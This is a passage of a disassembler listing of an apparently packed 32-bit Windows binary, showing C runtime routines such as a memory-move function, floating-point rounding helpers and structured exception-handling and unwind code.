retn
; ---------------------------------------------------------------------------
loc_41CCD8: ; CODE XREF: sub_41CBC0+ECj
mov [edi], dx
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41CBC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CCE3 proc near ; CODE XREF: .packed:0040B062p
; sub_40C2AF+40p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
mov [ebp+var_14], 49h
push eax
mov [ebp+var_18], eax
mov [ebp+var_20], eax
call sub_41B9C0
mov [ebp+var_1C], eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
push eax
call sub_420DB0
add esp, 10h
leave
retn
sub_41CCE3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CD20 proc near ; CODE XREF: sub_40B13C+62p
; sub_40B13C+6Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CD40
cmp edi, eax
jb loc_41CEB8
loc_41CD40: ; CODE XREF: sub_41CD20+16j
test edi, 3
jnz short loc_41CD5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
loc_41CD5C: ; CODE XREF: sub_41CD20+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CD74
and eax, 3
add ecx, eax
jmp dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CD74: ; CODE XREF: sub_41CD20+46j
jmp dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD7C: ; CODE XREF: sub_41CD20+31j
; sub_41CD20+8Ej ...
jmp off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0CDh, 41h, 0
dd offset loc_41CDBC
dd offset loc_41CDE0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CDBC: ; DATA XREF: sub_41CD20+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CDE0: ; DATA XREF: sub_41CD20+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CD7C
rep movsd
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDFC dd offset loc_41CE5F ; DATA XREF: sub_41CD20:loc_41CD7Cr
dd offset loc_41CE4C
dd offset loc_41CE44
dd offset loc_41CE3C
dd offset loc_41CE34
dd offset loc_41CE2C
dd offset loc_41CE24
dd offset loc_41CE1C
; ---------------------------------------------------------------------------
loc_41CE1C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CE24: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CE2C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CE34: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CE3C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CE44: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CE4C: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CE5F: ; CODE XREF: sub_41CD20:loc_41CD7Cj
; DATA XREF: sub_41CD20:off_41CDFCo
jmp off_41CE68[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CE68 dd offset loc_41CE78 ; DATA XREF: sub_41CD20+35r
; sub_41CD20+92r ...
dd offset loc_41CE80
dd offset loc_41CE8C
dd offset loc_41CEA0
; ---------------------------------------------------------------------------
loc_41CE78: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE80: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE8C: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CEA0: ; CODE XREF: sub_41CD20+35j
; sub_41CD20+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CEB8: ; CODE XREF: sub_41CD20+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CEEC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CEE0: ; CODE XREF: sub_41CD20+1B1j
; sub_41CD20+208j ...
neg ecx
jmp off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEEC: ; CODE XREF: sub_41CD20+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CF04
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CF04: ; CODE XREF: sub_41CD20+1D6j
; DATA XREF: sub_41CD20+1DDr
jmp off_41D000[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
cmp bh, cl
inc ecx
add [eax-31h], ah
inc ecx
loc_41CF17: ; DATA XREF: sub_41CD20+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CEE0
std
rep movsd
cld
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CFB4
dd offset loc_41CFBC
dd offset loc_41CFC4
dd offset loc_41CFCC
dd offset loc_41CFD4
dd offset loc_41CFDC
dd offset loc_41CFE4
off_41CFB0 dd offset loc_41CFF7 ; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------
loc_41CFB4: ; DATA XREF: sub_41CD20+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CFBC: ; DATA XREF: sub_41CD20+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CFC4: ; DATA XREF: sub_41CD20+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CFCC: ; DATA XREF: sub_41CD20+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CFD4: ; DATA XREF: sub_41CD20+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CFDC: ; DATA XREF: sub_41CD20+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CFE4: ; DATA XREF: sub_41CD20+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CFF7: ; CODE XREF: sub_41CD20+1C2j
; DATA XREF: sub_41CD20:off_41CFB0o
jmp off_41D000[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D000 dd offset loc_41D010 ; DATA XREF: sub_41CD20+1B7r
; sub_41CD20:loc_41CF04r ...
dd offset loc_41D018
dd offset loc_41D028
dd offset loc_41D03C
; ---------------------------------------------------------------------------
loc_41D010: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D018: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D028: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D03C: ; CODE XREF: sub_41CD20+1B7j
; sub_41CD20:loc_41CF04j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CD20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D055(double)
sub_41D055 proc near ; CODE XREF: sub_40D2F4+38p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE20
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D0DB
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D0BE
cmp eax, 2
jle short loc_41D0B0
cmp eax, 3
jnz short loc_41D0BE
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Bh ; double
call sub_421861
add esp, 10h
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0B0: ; CODE XREF: sub_41D055+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0BE: ; CODE XREF: sub_41D055+3Aj
; sub_41D055+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Bh
push 8
jmp short loc_41D118
; ---------------------------------------------------------------------------
loc_41D0DB: ; CODE XREF: sub_41D055+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D0FE
loc_41D0F0: ; CODE XREF: sub_41D055+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D120
; ---------------------------------------------------------------------------
loc_41D0FE: ; CODE XREF: sub_41D055+99j
test bl, 20h
jnz short loc_41D0F0
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Bh ; int
push 10h ; int
loc_41D118: ; CODE XREF: sub_41D055+84j
call sub_4218B4
add esp, 1Ch
loc_41D120: ; CODE XREF: sub_41D055+59j
; sub_41D055+67j ...
pop esi
pop ebx
leave
retn
sub_41D055 endp
; =============== S U B R O U T I N E =======================================
sub_41D124 proc near ; CODE XREF: sub_41C164+9p
; sub_422152+21p
; DATA XREF: ...
call sub_41D13C
call sub_422152
mov dword_4DBE40, eax
call sub_422102
fnclex
retn
sub_41D124 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_41D13C proc near ; CODE XREF: sub_41D124p
mov eax, offset sub_422540
mov off_43D434, offset sub_4221D5
mov off_43D430, eax
mov off_43D438, offset sub_42223B
mov off_43D43C, offset sub_42217B
mov off_43D440, offset sub_422223
mov off_43D444, eax
retn
sub_41D13C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D174 proc near ; CODE XREF: sub_40D2F4+1Bp
; sub_40D2F4+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41D174 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41D19B(double)
sub_41D19B proc near ; CODE XREF: sub_40D340+82p
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43AE38
call sub_422089
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41D221
call sub_421F51
pop ecx
test eax, eax
pop ecx
jle short loc_41D204
cmp eax, 2
jle short loc_41D1F6
cmp eax, 3
jnz short loc_41D204
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_421861
add esp, 10h
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D1F6: ; CODE XREF: sub_41D19B+3Fj
push esi
push ebx
call sub_422089
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D204: ; CODE XREF: sub_41D19B+3Aj
; sub_41D19B+44j
fld [ebp+arg_0]
fadd dbl_4276F8
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41D25E
; ---------------------------------------------------------------------------
loc_41D221: ; CODE XREF: sub_41D19B+2Fj
call sub_421F16
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41D244
loc_41D236: ; CODE XREF: sub_41D19B+ACj
push esi
push ebx
call sub_422089
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41D266
; ---------------------------------------------------------------------------
loc_41D244: ; CODE XREF: sub_41D19B+99j
test bl, 20h
jnz short loc_41D236
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41D25E: ; CODE XREF: sub_41D19B+84j
call sub_4218B4
add esp, 1Ch
loc_41D266: ; CODE XREF: sub_41D19B+59j
; sub_41D19B+67j ...
pop esi
pop ebx
leave
retn
sub_41D19B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D26A proc near ; CODE XREF: sub_4229B1+71p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D26A endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41D29E proc near ; CODE XREF: sub_422B62+199p
; sub_422D26+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D29E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41D2A5 proc near ; CODE XREF: sub_422B62+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D2A5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2AC proc near ; CODE XREF: sub_41D45E+5Cp
; sub_4229B1:loc_4229E2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D2D4
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_426356 ; RtlUnwind
loc_41D2D4: ; DATA XREF: sub_41D2AC+11o
mov eax, [ebp+arg_4]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+arg_4]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
sub_41D2AC endp
; ---------------------------------------------------------------------------
loc_41D2FB: ; CODE XREF: .packed:00426AACj
; .packed:00426AC9j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_4225B6
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D331 proc near ; CODE XREF: sub_422A2C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41D385
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422DB0
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41D331 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D385 proc near ; DATA XREF: sub_41D331+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
pop ebp
retn
sub_41D385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D3AA proc near ; CODE XREF: sub_4227F8+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D45E
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D430
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBE80
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41D430: ; DATA XREF: sub_41D3AA+3Co
cmp [ebp+var_4], 0
jz short loc_41D44D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D456
; ---------------------------------------------------------------------------
loc_41D44D: ; CODE XREF: sub_41D3AA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D456: ; CODE XREF: sub_41D3AA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41D3AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D45E proc near ; DATA XREF: sub_41D3AA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41D481
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41D4CE
; ---------------------------------------------------------------------------
loc_41D481: ; CODE XREF: sub_41D45E+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_4225B6
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41D4BF
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41D2AC
loc_41D4BF: ; CODE XREF: sub_41D45E+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41D4CE: ; CODE XREF: sub_41D45E+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D45E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p
; sub_4227F8+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41D52A
loc_41D4F1: ; CODE XREF: sub_41D4D3+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41D4FB
call sub_422E52
loc_41D4FB: ; CODE XREF: sub_41D4D3+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41D510
cmp ecx, [eax+8]
jle short loc_41D515
loc_41D510: ; CODE XREF: sub_41D4D3+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41D521
loc_41D515: ; CODE XREF: sub_41D4D3+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41D521: ; CODE XREF: sub_41D4D3+40j
cmp [ebp+arg_4], 0
jge short loc_41D4F1
mov eax, [ebp+var_4]
loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41D53E
cmp esi, eax
jbe short loc_41D543
loc_41D53E: ; CODE XREF: sub_41D4D3+65j
call sub_422E52
loc_41D543: ; CODE XREF: sub_41D4D3+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41D4D3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D568
push [ebp+arg_0]
call sub_426356 ; RtlUnwind
loc_41D568: ; DATA XREF: sub_41D550+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D550 endp
; =============== S U B R O U T I N E =======================================
sub_41D570 proc near ; DATA XREF: sub_41D592+Ao
; sub_41D5FA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D591
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D591: ; CODE XREF: sub_41D570+10j
retn
sub_41D570 endp
; =============== S U B R O U T I N E =======================================
sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp
; sub_423CC0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D570
push large dword ptr fs:0
mov large fs:0, esp
loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D5EC
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D5EC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D5EA
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D626
call dword ptr [ebx+esi*4+8]
loc_41D5EA: ; CODE XREF: sub_41D592+44j
jmp short loc_41D5AF
; ---------------------------------------------------------------------------
loc_41D5EC: ; CODE XREF: sub_41D592+2Aj
; sub_41D592+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D592 endp
; =============== S U B R O U T I N E =======================================
sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D570
jnz short locret_41D61C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D61C
mov eax, 1
locret_41D61C: ; CODE XREF: sub_41D5FA+10j
; sub_41D5FA+1Bj
retn
sub_41D5FA endp
